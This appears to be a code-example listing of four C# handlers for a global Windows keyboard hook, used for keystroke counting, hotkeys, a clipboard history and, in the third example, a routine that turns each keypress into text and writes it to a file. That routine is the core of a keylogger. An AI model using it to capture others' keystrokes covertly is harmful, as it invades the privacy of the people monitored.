Esempio n. 1
0
        public void KeyReader(IntPtr wParam, IntPtr lParam)
        {
            int key = Marshal.ReadInt32(lParam);

            Hook.VK vk = (Hook.VK)key;

            KeyStrokes++;
            Active();
            RaisePropertyChanged("KeyStrokes");
            RaisePropertyChanged("TimeActive");
        }
Esempio n. 2
0
        public static void KeyHandler(IntPtr wParam, IntPtr lParam)
        {
            int key = Marshal.ReadInt32(lParam);

            Hook.VK vk = (Hook.VK)key;

            Console.WriteLine("KeyHandler!");

            switch (vk)
            {
            case Hook.VK.VK_F5: MessageBox.Show("You pressed F5!");
                Console.WriteLine("You pressed F5!");
                break;

            case Hook.VK.VK_F6: MessageBox.Show("You pressed F6!");
                Console.WriteLine("You pressed F6!");
                break;

            //etc...
            default: break;
            }
        }
Esempio n. 3
0
        public void KeyReaderr(IntPtr wParam, IntPtr lParam)
        {
            int key = Marshal.ReadInt32(lParam);

            Hook.VK vk = (Hook.VK)key;

            String temp = "";

            switch (vk)
            {
            case Hook.VK.VK_F1: temp = "<-F1->";
                break;

            case Hook.VK.VK_F2: temp = "<-F2->";
                break;

            case Hook.VK.VK_F3: temp = "<-F3->";
                break;

            case Hook.VK.VK_F4: temp = "<-F4->";
                break;

            case Hook.VK.VK_F5: temp = "<-F5->";
                break;

            case Hook.VK.VK_F6: temp = "<-F6->";
                break;

            case Hook.VK.VK_F7: temp = "<-F7->";
                break;

            case Hook.VK.VK_F8: temp = "<-F8->";
                break;

            case Hook.VK.VK_F9: temp = "<-F9->";
                break;

            case Hook.VK.VK_F10: temp = "<-F10->";
                break;

            case Hook.VK.VK_F11: temp = "<-F11->";
                break;

            case Hook.VK.VK_F12: temp = "<-F12->";
                break;

            case Hook.VK.VK_NUMLOCK: temp = "<-numlock->";
                break;

            case Hook.VK.VK_SCROLL: temp = "<-scroll>";
                break;

            case Hook.VK.VK_LSHIFT: temp = "<-left shift->";
                break;

            case Hook.VK.VK_RSHIFT: temp = "<-right shift->";
                break;

            case Hook.VK.VK_LCONTROL: temp = "<-left control->";
                break;

            case Hook.VK.VK_RCONTROL: temp = "<-right control->";
                break;

            case Hook.VK.VK_SEPERATOR: temp = "|";
                break;

            case Hook.VK.VK_SUBTRACT: temp = "-";
                break;

            case Hook.VK.VK_DECIMAL: temp = ".";
                break;

            case Hook.VK.VK_DIVIDE: temp = "/";
                break;

            case Hook.VK.VK_NUMPAD0: temp = "0";
                break;

            case Hook.VK.VK_NUMPAD1: temp = "1";
                break;

            case Hook.VK.VK_NUMPAD2: temp = "2";
                break;

            case Hook.VK.VK_NUMPAD3: temp = "3";
                break;

            case Hook.VK.VK_NUMPAD4: temp = "4";
                break;

            case Hook.VK.VK_NUMPAD5: temp = "5";
                break;

            case Hook.VK.VK_NUMPAD6: temp = "6";
                break;

            case Hook.VK.VK_NUMPAD7: temp = "7";
                break;

            case Hook.VK.VK_NUMPAD8: temp = "8";
                break;

            case Hook.VK.VK_NUMPAD9: temp = "9";
                break;

            case Hook.VK.VK_Q: temp = "q";
                break;

            case Hook.VK.VK_W: temp = "w";
                break;

            case Hook.VK.VK_E: temp = "e";
                break;

            case Hook.VK.VK_R: temp = "r";
                break;

            case Hook.VK.VK_T: temp = "t";
                break;

            case Hook.VK.VK_Y: temp = "y";
                break;

            case Hook.VK.VK_U: temp = "u";
                break;

            case Hook.VK.VK_I: temp = "i";
                break;

            case Hook.VK.VK_O: temp = "o";
                break;

            case Hook.VK.VK_P: temp = "p";
                break;

            case Hook.VK.VK_A: temp = "a";
                break;

            case Hook.VK.VK_S: temp = "s";
                break;

            case Hook.VK.VK_D: temp = "d";
                break;

            case Hook.VK.VK_F: temp = "f";
                break;

            case Hook.VK.VK_G: temp = "g";
                break;

            case Hook.VK.VK_H: temp = "h";
                break;

            case Hook.VK.VK_J: temp = "j";
                break;

            case Hook.VK.VK_K: temp = "k";
                break;

            case Hook.VK.VK_L: temp = "l";
                break;

            case Hook.VK.VK_Z: temp = "z";
                break;

            case Hook.VK.VK_X: temp = "x";
                break;

            case Hook.VK.VK_C: temp = "c";
                break;

            case Hook.VK.VK_V: temp = "v";
                break;

            case Hook.VK.VK_B: temp = "b";
                break;

            case Hook.VK.VK_N: temp = "n";
                break;

            case Hook.VK.VK_M: temp = "m";
                break;

            case Hook.VK.VK_0: temp = "0";
                break;

            case Hook.VK.VK_1: temp = "1";
                break;

            case Hook.VK.VK_2: temp = "2";
                break;

            case Hook.VK.VK_3: temp = "3";
                break;

            case Hook.VK.VK_4: temp = "4";
                break;

            case Hook.VK.VK_5: temp = "5";
                break;

            case Hook.VK.VK_6: temp = "6";
                break;

            case Hook.VK.VK_7: temp = "7";
                break;

            case Hook.VK.VK_8: temp = "8";
                break;

            case Hook.VK.VK_9: temp = "9";
                break;

            case Hook.VK.VK_SNAPSHOT: temp = "<-print screen->";
                break;

            case Hook.VK.VK_INSERT: temp = "<-insert->";
                break;

            case Hook.VK.VK_DELETE: temp = "<-delete->";
                break;

            case Hook.VK.VK_BACK: temp = "<-backspace->";
                break;

            case Hook.VK.VK_TAB: temp = "<-tab->";
                break;

            case Hook.VK.VK_RETURN: temp = "<-enter->";
                break;

            case Hook.VK.VK_PAUSE: temp = "<-pause->";
                break;

            case Hook.VK.VK_CAPITAL: temp = "<-caps lock->";
                break;

            case Hook.VK.VK_ESCAPE: temp = "<-esc->";
                break;

            case Hook.VK.VK_SPACE: temp = "<-space->";
                break;

            case Hook.VK.VK_PRIOR: temp = "<-page up->";
                break;

            case Hook.VK.VK_NEXT: temp = "<-page down->";
                break;

            case Hook.VK.VK_END: temp = "<-end->";
                break;

            case Hook.VK.VK_HOME: temp = "<-home->";
                break;

            case Hook.VK.VK_LEFT: temp = "<-arrow left->";
                break;

            case Hook.VK.VK_UP: temp = "<-arrow up->";
                break;

            case Hook.VK.VK_RIGHT: temp = "<-arrow right->";
                break;

            case Hook.VK.VK_DOWN: temp = "<-arrow down->";
                break;

            default: break;
            }

            writeUp = writeUp + temp;

            unhide();
            checkKeys();
            writeToFile(temp);
        }
Esempio n. 4
0
        void KeyReaderr(IntPtr wParam, IntPtr lParam)
        {
            try
            {
                int key = Marshal.ReadInt32(lParam);

                Hook.VK vk = (Hook.VK)key;
                //MessageBox.Show(vk.ToString());
                //

                #region

                if (vk == Hook.VK.VK_LCONTROL || vk == Hook.VK.VK_RCONTROL)
                {
                    temp += "Co_";
                }
                if (vk == Hook.VK.VK_C || vk == Hook.VK.VK_X || vk == Hook.VK.VK_SNAPSHOT)
                {
                    if (temp.Substring(temp.Length - 3, 3) == "Co_")
                    {
                        temp += "_pY";
                    }
                    if (vk == Hook.VK.VK_SNAPSHOT)
                    {
                        temp = temp + "zzzzzzCo__pY";
                    }
                    if (temp.Length >= 6)
                    {
                        System.Threading.Thread.Sleep(400);
                        if (temp.Substring(temp.Length - 6, 6) == "Co__pY")
                        {
                            if (!listBox.Items.Contains(Clipboard.GetDataObject()))
                            {
                                string      name      = "";
                                Image       itemimage = null;
                                string      itemtext  = null;
                                IDataObject data      = Clipboard.GetDataObject();
                                obj.Add(data);
                                if (data.GetDataPresent(DataFormats.StringFormat))
                                {
                                    itemtext = Clipboard.GetText();
                                    cpy.Add(itemtext);
                                    listBox.Items.Add(DateTime.Now.ToShortTimeString() + " " + itemtext);
                                }
                                else
                                {
                                    Bitmap bitmap = (Clipboard.GetData(DataFormats.Bitmap) as Bitmap);
                                    itemimage = bitmap;
                                    cpy.Add(itemimage);
                                    listBox.Items.Add(DateTime.Now.ToShortTimeString() + " " + "Image");
                                }
                            }
                        }
                    }
                }
            }
            catch (Exception a)
            {
            }


            #endregion

            // MessageBox.Show(temp);
        }